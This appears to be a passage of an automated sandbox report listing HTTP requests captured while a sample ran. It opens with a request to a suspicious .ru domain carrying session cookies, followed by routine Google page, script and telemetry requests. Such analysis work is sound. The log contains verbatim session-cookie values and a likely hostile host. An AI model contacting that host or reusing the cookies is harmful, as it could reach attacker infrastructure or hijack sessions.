Source: global traffic	HTTP traffic detected: GET /rqDWOipXOpKswPVOYE9wkWulPSYTDz58tzo6LYGRjy HTTP/1.1Host: er.avunzocl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikx2TzdYUTFwTmRYdUZMSVg5TC83Z3c9PSIsInZhbHVlIjoid0RkZkovdWkreGJvaVBYb1BFaE5yR0pwU3NRcVIySHBBNk4rdVhURXN2Y2tjUlU1UXdlTFp3TGVnVTNEL1VxSjY5U3cyMkxFalFPTkZ2bWpmUEkzci9sREhzQkpnNDFJMEFtNnh5aDlBalZJWmc3VE1OLzNlZFp5d2hEazRTQXUiLCJtYWMiOiI5ODQ2NTFkNTA2OTA3ZDQxNTMwOGZjZmQ2NjYxNzcwZjMwMzI5MTgxZDQyMjFlMDhlMzIyOWQ4OWQ3ZDBhMzNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InR3RHZxOFY3L2gwWGNtVzdIVVFsQ0E9PSIsInZhbHVlIjoibzJsQ3lJRTNpb2EycXFrMnhXTHpYMWtzcFRYZkZJMElramRUMGxTTElHU3l2OVYrQ2RJRzlTSnV6M0tqQXFjYmRWK2FqeG95S0N0UTEvT2lzaGw0OVR0T1duOWhua01Va1ZtLzV5T3RlVUtheCtQbjcrN1BXYUlkbm0wcVhhR0IiLCJtYWMiOiJiYTk5ZTZhOTQ4MGMzNTM2MWUwZGQyYzE4ZDNmYjYxMzIyMGVkOGNhMGE5NWJhMTI1MmFjNTQzZGI4NTM1NTVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /async/hpba?yv=3&cs=0&ei=pF_cZ7LvOfKGptQP2o684AU&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/dg%3D0/br%3D1/rs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:/xjs/_/ss/k%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/br%3D1/rs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/ck%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d%3D1/ed%3D1/dg%3D0/br%3D1/ujg%3D1/rs%3DACT90oGkziwljBCqPtF7zkxsImG3IkkszQ,_fmt:prog,_id:_pF_cZ7LvOfKGptQP2o684AU_8&sp_imghp=false&sp_hpep=2&sp_hpte=0&vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQj-0KCBY..i HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /logos/doodles/2025/mens-college-basketball-tournament-first-round-2025-6753651837110662.2-6752733080620936-cst.gif HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /gen_204?s=async&astyp=hpba&atyp=csi&ei=pl_cZ96RDcDdptQPtbzxsQM&rt=ipf.1,ipfr.666,ttfb.666,st.666,acrt.668,ipfrl.668,aaft.668,art.668,ns.-1688&ns=1742495651266&twt=1.2000000000116415&mwt=1.2000000000116415 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.15sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=pF_cZ7LvOfKGptQP2o684AU.1742495654280&dpr=1&nolsbt=1 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/md=2/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/rs=ACT90oFgtGTLIu-tSSGYCTCEbsdpabFYhw HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /widget/callout?prid=19046229&pgid=19046228&puid=2e6b2513ec221596&eom=1&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com&cn=callout&pid=1&spid=538&hl=en HTTP/1.1Host: ogs.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/ck=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/ujg=1/rs=ACT90oGkziwljBCqPtF7zkxsImG3IkkszQ/m=sb_wiz,aa,abd,U9EYge,syrs,syrr,syrn,syf3,syrq,syrf,syzm,sysa,syrv,syro,syrm,syrp,syrw,syrx,syrt,syrh,syra,syr5,syqb,syrj,sys9,sys7,sys8,sys6,syr3,sys5,async,syvr,ifl,pHXghd,sf,sysy,sy3o8,sonic,sy3oa,sy1c8,sy18j,sy18f,syqa,syq9,syq7,syqe,syq6,sy3nr,sy3nt,syuv,syqj,syq2,syee,sya2,sy9k,sy9l,sy9j,sy9g,spch,sytv,sytu,rtH1bd,sy19j,sy15j,sy137,sy12m,sydg,syde,sya6,sya3,sya1,sy19g,EiD4Fe,SMquOb,sy7h,sy7g,syfk,syfi,syft,syfq,syfh,syff,syfd,sy7n,sy7k,sy7m,syfc,syfg,sybl,sybe,sybh,syb9,syaj,syb4,syav,syb3,syb2,syap,syas,syar,syao,syac,syam,syat,syb5,sy9x,sya7,syae,syag,syah,syaw,syal,syay,syai,sybo,sya8,sybn,sy9o,sy9r,sya4,syab,syb6,syfa,syf9,syf6,syf5,syf4,sy7x,uxMpU,syex,sybw,sybs,sybp,sya9,syb1,sybq,sybm,sy8h,sy8c,sy8b,sy8a,sy89,Mlhmy,QGR0gd,OTA3Ae,sy7i,EEDORb,PoEs9b,Pjplud,sy86,A1yn5d,YIZmRd,uY49fb,sy7u,sy7s,sy7t,sy7r,sy7q,byfTOb,lsjVmc,LEikZe,kWgXee,ovKuLd,sgY6Zb,sy8n,sy8l,sy7w,xUdipf,NwH0H,gychg,ZfAoz,yDVVkb,qafBPd,ebZ3mb,dowIGb,sy19n,sy19m,sy19k,syyn,syu0,d5EhJe,sy1a7,fCxEDd,syvx,sy1a5,sy1a4,sy1a3,sy19w,sy19u,sy19t,sy19y,sy17d,sy176,syw6,syya,syy9,T1HOxc,sy19v,sy19r,sy19o?xjs=s3 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9vR1rNwOjC3PXOxUlyKiCwNBv2Fg/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/md=2/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/rs=ACT90oFgtGTLIu-tSSGYCTCEbsdpabFYhw HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/ck=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/ujg=1/rs=ACT90oGkziwljBCqPtF7zkxsImG3IkkszQ/m=zx30Y,sy1a9,sy1a8,sy19z,sy169,Wo3n8,syrd,loL8vb,sys1,sys0,syrz,ms4mZb,sypk,B2qlPe,syvb,NzU6V,syzx,syvq,zGLm3b,syx7,syx8,sywx,DhPYme,syz2,syz4,syxo,syxq,syz3,syxn,syz7,syz6,syz0,syz1,KHourd,MpJwZc,UUJqVe,sy8r,sOXFj,sy8q,s39S4,oGtAuc,nAFL3,sy92,q0xTif,y05UD,PPhKqf,sy13h,sy191,sy18v,syy6,sy18o,sy14e,syy8,syy7,sy18u,sy147,sy18l,sy14b,sy13d,sy18p,sy14c,sy14d,sy18w,sy134,sy18t,sy18s,sy18q,sylw,syn4,sy18r,sy18g,sy18k,sy18h,sy18x,sy18m,sy18i,sy18e,sy18b,sy14z,sy14g,sy14h,syyd,syye,epYOx?xjs=s3 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /client_204?atyp=i&biw=1280&bih=897&ei=pF_cZ7LvOfKGptQP2o684AU&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 1.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 300sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; 